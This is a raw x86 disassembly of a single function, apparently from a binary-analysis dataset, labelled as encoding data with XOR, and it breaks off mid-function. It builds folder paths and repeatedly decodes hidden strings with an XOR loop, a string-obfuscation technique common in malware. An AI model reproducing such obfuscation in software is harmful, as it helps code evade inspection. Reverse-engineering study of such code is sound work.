Function at 0x1357610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xdb723b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2f4
push ebx
mov eax, ecx
mov bl, dl
push esi
mov dword [ebp - 0x11c], eax
push edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 4], 0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
push 0x104
lea eax, [ebp - 0x2fc]
mov byte [ebp - 4], 2
push 0
push eax
mov dword [ebp - 0x14], 1
call fcn.01405710
add esp, 0xc
lea eax, [ebp - 0x2fc]
push eax
movzx eax, bl
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [0xdbd310]
lea ecx, [ebp - 0x2fc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x13576a8
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x135910d
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
jb 0x13576cf
mov eax, dword [ebp + 0xc]
push edx
push eax
push ecx
lea eax, [ebp - 0x2fc]
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14c]
call fcn.01396210
mov ebx, 0x100001
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 3
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 4
cmp byte [ebp + 8], al
jne 0x1357bde
sub esp, 0x18
lea eax, [ebp - 0x14c]
mov ecx, esp
push eax
call fcn.0138e990
push 0
mov dl, 1
lea ecx, [ebp - 0x70]
call fcn.01346430
add esp, 0x1c
mov byte [ebp - 4], 5
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x70]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x1357822
lea ecx, [ebp - 0x70]
call fcn.01390a80
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x13577a5
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135779b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x13577d9
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13577cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0xf
mov byte [ebp + 0xc], 0
cmp ecx, 0x10
jb 0x13590f6
mov edx, dword [ebp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13590ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
jmp 0x13590ec
mov dword [ebp - 0x4c], 0
test eax, eax
je 0x1357bcd
xor edi, edi
mov dword [ebp - 0x44], edi
jmp 0x1357840
lea ecx, [ebp - 0x3a]
mov word [ebp - 0x3a], 0x5c
add edi, esi
mov byte [ebp - 0x38], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1357852
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x135910d
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x1357885
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x164]
call fcn.01396210
or ebx, 0x40000
mov dword [ebp - 0x14], ebx
sub esp, 0x18
mov byte [ebp - 4], 6
mov esi, esp
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x18], esi
push edi
call fcn.0138e710
mov edx, eax
or ebx, 0x80000
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov ecx, dword [edx]
mov dword [esi], ecx
lea ecx, [ebp - 0x118]
mov eax, dword [edx + 4]
mov dword [esi + 4], eax
mov eax, dword [edx + 8]
mov dword [esi + 8], eax
mov eax, dword [edx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edx + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edx + 0x14]
mov dword [esi + 0x14], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
xor dl, dl
push 0
mov dword [ebp - 0x14], ebx
call fcn.01346430
add esp, 0x1c
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x1357960
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1357956
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0x118]
sub ecx, ebx
imul ecx
mov dword [ebp - 0x154], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x150], 0xf
shr eax, 0x1f
mov byte [ebp - 0x164], 0
add eax, edx
je 0x1357b89
xor ecx, ecx
mov dword [ebp - 0x48], ecx
test eax, eax
je 0x1357b89
xor esi, esi
mov dword [ebp - 0xb8], esi
add ebx, esi
cmp dword [ebp + 0x38], 0x10
lea esi, [ebp + 0x24]
mov dword [ebp - 0x8c], esi
jb 0x13579cf
mov esi, dword [ebp + 0x24]
mov dword [ebp - 0x8c], esi
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
jb 0x13579da
mov ebx, dword [ebx]
mov ecx, dword [ebp + 0x34]
cmp ecx, eax
ja 0x1357b4f
sub eax, ecx
test ecx, ecx
je 0x1357aad
movsx ecx, byte [esi]
inc eax
add eax, ebx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x90], eax
sub eax, ebx
push eax
push ecx
push ebx
call fcn.01406f00
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1357b4f
mov ecx, esi
mov edx, edi
mov esi, dword [ebp + 0x34]
sub esi, 4
jb 0x1357a35
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x1357a3a
add edx, 4
add ecx, 4
sub esi, 4
jae 0x1357a24
cmp esi, 0xfffffffc
je 0x1357a6e
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x1357a67
cmp esi, 0xfffffffd
je 0x1357a6e
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x1357a67
cmp esi, 0xfffffffe
je 0x1357a6e
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x1357a67
cmp esi, 0xffffffff
je 0x1357a6e
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x1357a6e
sbb eax, eax
or eax, 1
jmp 0x1357a70
xor eax, eax
test eax, eax
je 0x1357aa2
mov eax, dword [ebp - 0x90]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x10c]
push edi
call fcn.01406f00
mov esi, dword [ebp - 0x8c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1357a18
jmp 0x1357b4f
sub edi, ebx
cmp edi, 0xffffffff
je 0x1357b4f
mov ebx, dword [ebp - 0x40]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x9c]
mov ecx, ebx
sub ecx, esi
xor edi, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x90], eax
je 0x1357b16
mov ebx, dword [ebp - 0x70]
add ebx, dword [ebp - 0x44]
jmp 0x1357ae0
cmp dword [ebx + 0x14], 0x10
mov eax, ebx
jb 0x1357aea
mov eax, dword [ebx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x1357af4
mov ecx, dword [esi]
push dword [ebx + 0x10]
mov edx, dword [esi + 0x10]
push eax
call fcn.0139e6e0
add esp, 8
test al, al
jne 0x1357b4f
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x90]
jb 0x1357ae0
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x44]
push eax
cmp ebx, dword [ebp - 0x94]
je 0x1357b3a
mov ecx, ebx
call fcn.0138e990
add ebx, 0x18
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x98], ebx
jmp 0x1357b4f
push ebx
lea ecx, [ebp - 0x9c]
call fcn.0139b620
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x114]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0x118]
sub ecx, ebx
mov esi, dword [ebp - 0xb8]
inc dword [ebp - 0x48]
add esi, 0x18
imul ecx
mov dword [ebp - 0xb8], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x13579b5
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 5
call fcn.01390a80
mov ecx, dword [ebp - 0x6c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x70]
sub ecx, esi
mov ebx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x44]
inc ebx
imul ecx
add edi, 0x18
mov dword [ebp - 0x4c], ebx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x44], edi
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jae 0x1357bcd
mov ebx, dword [ebp - 0x28]
jmp 0x1357840
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 4
call fcn.01390a80
mov ebx, dword [ebp - 0x40]
jmp 0x1357c4c
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 9
push eax
push 0
lea ecx, [ebp - 0x9c]
call fcn.0139b4f0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x1357c46
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1357c3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov ebx, dword [ebp - 0x98]
mov edi, dword [ebp - 0x9c]
mov ecx, ebx
sub ecx, edi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x1357d37
xor ecx, ecx
mov dword [ebp - 0xe4], 0xf
xor edx, edx
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], edx
mov byte [ebp - 0xf8], cl
mov byte [ebp - 4], 0xa
cmp ebx, dword [ebp - 0x94]
je 0x1357cda
mov eax, dword [ebp - 0xf8]
mov dword [ebx], eax
mov dword [ebx + 4], ecx
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], ecx
lea ecx, [edx + 0xf]
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], 0xf
add ebx, 0x18
mov byte [ebp - 0xf8], dl
mov dword [ebp - 0x98], ebx
jmp 0x1357cff
lea eax, [ebp - 0xf8]
push eax
push ebx
lea ecx, [ebp - 0x9c]
call fcn.0139b4f0
mov ebx, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xe4]
mov edi, dword [ebp - 0x9c]
mov byte [ebp - 4], 4
cmp ecx, 0x10
jb 0x1357d37
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1357d2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov dword [ebp - 0x88], 0x818eac83
xor ecx, ecx
mov dword [ebp - 0x84], 0xb5c58882
mov dword [ebp - 0x80], 0x8f9d8993
mov word [ebp - 0x7c], 0x100
lea ebx, [ebx]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 0xc
jb 0x1357d60
sub esp, 0x18
mov byte [ebp - 0x7b], 0
mov esi, esp
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x18], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1357d86
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x1359117
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x1357db9
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
mov ecx, esi
call fcn.01396210
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x1c8]
or eax, 0x20000
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], eax
call fcn.0132f6b0
add esp, 0x18
xor eax, eax
mov esi, 0xf
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], esi
mov byte [ebp - 0x17c], al
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1b8], eax
je 0x13580a4
sub esp, 0x28
lea edx, [ebp - 0x1c8]
mov eax, esp
lea ecx, [ebp - 0xcc]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.01392b90
add esp, 0x30
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov dword [ebp - 0x22], 0x81be93b0
mov dword [ebp - 0x1e], 0x92959d91
mov word [ebp - 0x1a], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x1357e70
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.01392840
cmp byte [eax], 0
je 0x1358095
mov dword [ebp - 0x22], 0x81be93b0
xor ecx, ecx
mov dword [ebp - 0x1e], 0x92959d91
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x1357eb0
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.01392840
mov edx, eax
mov dword [ebp - 0x37], 0x90828eba
mov dword [ebp - 0x33], 0x8391949a
xor ecx, ecx
mov dword [ebp - 0x2f], 0x8f82b783
mov word [ebp - 0x2b], 0x92
mov byte [ebp - 0x29], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x1357ef4
lea eax, [ebp - 0x37]
mov byte [ebp - 0x29], 0
push eax
mov ecx, edx
call fcn.01392840
cmp byte [eax], 0
je 0x1358095
mov dword [ebp - 0x22], 0x81be93b0
xor ecx, ecx
mov dword [ebp - 0x1e], 0x92959d91
mov word [ebp - 0x1a], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 8
jb 0x1357f30
lea eax, [ebp - 0x22]
mov byte [ebp - 0x19], 0
push eax
lea ecx, [ebp - 0xcc]
call fcn.01392840
mov edx, eax
mov dword [ebp - 0x37], 0x90828eba
mov dword [ebp - 0x33], 0x8391949a
xor ecx, ecx
mov dword [ebp - 0x2f], 0x8f82b783
mov word [ebp - 0x2b], 0x92
mov byte [ebp - 0x29], 1
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xd
jb 0x1357f74
lea eax, [ebp - 0x37]
mov byte [ebp - 0x29], 0
push eax
mov ecx, edx
call fcn.01392840
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.01392970
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x164]
call fcn.01327f70
mov edx, eax
lea eax, [ebp - 0x17c]
cmp eax, edx
je 0x1358002
mov ecx, dword [edx]
mov eax, dword [edx + 0xc]
mov esi, dword [edx + 0x14]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x178], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x170], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], esi
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x135803c
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358032
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135911c
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp ecx, 0x10
jb 0x1358095
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x135808b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x135911c
push ecx
push edx
call fcn.01403731
add esp, 8
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0xc
call fcn.0138c670
sub ebx, edi
mov eax, 0x2aaaaaab
imul ebx
xor ecx, ecx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x8c], ecx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x90], eax
je 0x1358fed
jmp 0x13580d0
cmp byte [ebp + 8], 0
jne 0x1358176
lea eax, [ecx + ecx*2]
mov esi, dword [edi + eax*8 + 0x10]
lea edx, [edi + eax*8]
test esi, esi
je 0x1358176
mov dword [ebp - 0x36], 0x818eac83
xor ecx, ecx
mov dword [ebp - 0x32], 0xb5c58882
mov dword [ebp - 0x2e], 0x8f9d8993
mov word [ebp - 0x2a], 0x100
lea esp, [esp]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xc
jb 0x1358110
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x29], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1358128
mov eax, 0x7fffffff
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x135910d
cmp dword [edx + 0x14], 0x10
jb 0x1358148
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x36]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf8]
call fcn.01396210
mov ebx, dword [ebp - 0x28]
or ebx, 0x10000
lea esi, [ebp - 0xf8]
mov byte [ebp - 4], 0xf
or ebx, 2
jmp 0x13581a1
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
mov dword [ebp - 4], 0x10
lea esi, [ebp - 0x64]
mov ebx, dword [ebp - 0x28]
or ebx, 4
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x3a], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x38], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x13581b4
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x13c]
sub eax, edx
cmp eax, ecx
jb 0x135910d
cmp dword [ebp - 0x138], 0x10
lea eax, [ebp - 0x14c]
jb 0x13581e7
mov eax, dword [ebp - 0x14c]
push ecx
lea ecx, [ebp - 0x3a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x134]
call fcn.01396210
or ebx, 0x1000
mov dword [ebp - 0x14], ebx
sub esp, 0x18
mov dword [ebp - 4], 0x11
mov ecx, esp
lea eax, [ebp - 0x134]
mov dword [ebp - 0x18], ecx
push esi
push eax
push dword [ebp - 0x18]
call fcn.01396000
or ebx, 0x800
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x14], ebx
call fcn.0132f6b0
add esp, 0x18
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x120]
cmp ecx, 0x10
jb 0x135827a
mov edx, dword [ebp - 0x134]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1358270
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x14
test bl, 4
je 0x13582bd
mov ecx, dword [ebp - 0x50]
and ebx, 0xfffffffb
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x13582bd
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13582b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x15
test bl, 2
je 0x1358306
mov ecx, dword [ebp - 0xe4]
and ebx, 0xfffffffd
mov dword [ebp - 0x14], ebx
cmp ecx, 0x10
jb 0x1358306
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13582fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
xor eax, eax
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], edi
mov byte [ebp - 0x198], al
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x1e4], esi
je 0x1358639
cmp dword [ebp - 0x16c], esi
jne 0x1358639
sub esp, 0x28
lea edx, [ebp - 0x1f4]
mov eax, esp
lea ecx, [ebp - 0x1dc]
push esi
push 1
mov dword [eax + 0x24], esi
call fcn.01392b90
add esp, 0x30
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov dword [ebp - 0xe0], 0x81be93b0
mov dword [ebp - 0xdc], 0x92959d91
mov word [ebp - 0xd8], 0x100
jmp 0x13583a0
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xe0], al
inc ecx
cmp ecx, 8
jb 0x13583a0
lea eax, [ebp - 0xe0]
mov byte [ebp - 0xd7], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.01392840
cmp byte [eax], 0
je 0x1358608
mov dword [ebp - 0xd6], 0x81be93b0
xor ecx, ecx
mov dword [ebp - 0xd2], 0x92959d91
mov word [ebp - 0xce], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 8
jb 0x13583f2
lea eax, [ebp - 0xd6]
mov byte [ebp - 0xcd], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.01392840
mov edx, eax
mov dword [ebp - 0x107], 0x90828eba
mov dword [ebp - 0x103], 0x8391949a
xor ecx, ecx
mov dword [ebp - 0xff], 0x8f82b783
mov word [ebp - 0xfb], 0x92
mov byte [ebp - 0xf9], 1
mov edi, edi
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x107], al
inc ecx
cmp ecx, 0xd
jb 0x1358450
lea eax, [ebp - 0x107]
mov byte [ebp - 0xf9], 0
push eax
mov ecx, edx
call fcn.01392840
cmp byte [eax], 0
je 0x1358608
mov dword [ebp - 0x6e], 0x81be93b0
xor ecx, ecx
mov dword [ebp - 0x6a], 0x92959d91
mov word [ebp - 0x66], 0x100
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 8
jb 0x1358495
lea eax, [ebp - 0x6e]
mov byte [ebp - 0x65], 0
push eax
lea ecx, [ebp - 0x1dc]
call fcn.01392840
mov edx, eax
mov dword [ebp - 0xcb], 0x90828eba
mov dword [ebp - 0xc7], 0x8391949a
xor ecx, ecx
mov dword [ebp - 0xc3], 0x8f82b783
mov word [ebp - 0xbf], 0x92
mov byte [ebp - 0xbd], 1
jmp 0x13584f0
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xcb], al
inc ecx
cmp ecx, 0xd
jb 0x13584f0
lea eax, [ebp - 0xcb]
mov byte [ebp - 0xbd], 0
push eax
mov ecx, edx
call fcn.01392840
lea ecx, [ebp - 0x1b0]
push ecx
mov ecx, eax
call fcn.01392970
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x64]
call fcn.01327f70
mov edx, eax
lea eax, [ebp - 0x198]
cmp eax, edx
je 0x1358584
mov ecx, dword [edx]
mov eax, dword [edx + 0xc]
mov esi, dword [edx + 0x10]
mov edi, dword [edx + 0x14]
mov dword [ebp - 0x198], ecx
mov ecx, dword [edx + 4]
mov dword [ebp - 0x194], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x188], esi
mov dword [ebp - 0x184], edi
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x13585b8
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13585ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp ecx, 0x10
jb 0x1358608
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x13585fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1359112
push ecx
push edx
call fcn.01403731
add esp, 8
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 0x16
call fcn.0138c670
test esi, esi
je 0x1358639
lea eax, [ebp - 0x198]
cmp edi, 0x10
jb 0x135862c
mov eax, dword [ebp - 0x198]
push esi
push eax
lea ecx, [ebp - 0x17c]
call fcn.0138e570
mov dword [ebp - 0xb3], 0x83828f93
xor ecx, ecx
mov dword [ebp - 0xaf], 0x92b6c48f
mov dword [ebp - 0xab], 0x8d889a88
mov dword [ebp - 0xa7], 0x8b81b08e
mov dword [ebp - 0xa3], 0x969d9599
mov word [ebp - 0x9f], 0x91
mov byte [ebp - 0x9d], 1
lea ecx, [ecx]
mov al, cl
sub al, 0x21
xor byte [ebp + ecx - 0xb3], al
inc ecx
cmp ecx, 0x15
jb 0x1358680
cmp byte [ebp + 8], 0
mov byte [ebp - 0x9d], 0
jne 0x1358722
cmp dword [ebp - 0x90], 1
mov ecx, dword [ebp - 0x9c]
jne 0x13586b7
cmp dword [ecx + 0x10], 0
je 0x1358722
mov eax, dword [ebp - 0x8c]
mov word [ebp - 0x43], 0x5c
mov byte [ebp - 0x41], 0
lea eax, [eax + eax*2]
mov esi, dword [ecx + eax*8 + 0x10]
lea edx, [ecx + eax*8]
lea ecx, [ebp - 0x43]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x13586d7
mov eax, 0x7fffffff
sub ecx, edi
sub eax, esi
cmp eax, ecx
jb 0x135910d
cmp dword [edx + 0x14], 0x10
jb 0x13586f7
mov edx, dword [edx]
push ecx
lea eax, [ebp - 0x43]
push eax
push esi
push edx
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1b0]
call fcn.01396210
or ebx, 0x8000
lea esi, [ebp - 0x1b0]
mov byte [ebp - 4], 0x19
or ebx, 8
jmp 0x135874a
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
lea esi, [ebp - 0x64]
mov dword [ebp - 4], 0x1a
or ebx, 0x10
lea ecx, [ebp - 0x3f]
mov dword [ebp - 0x14], ebx
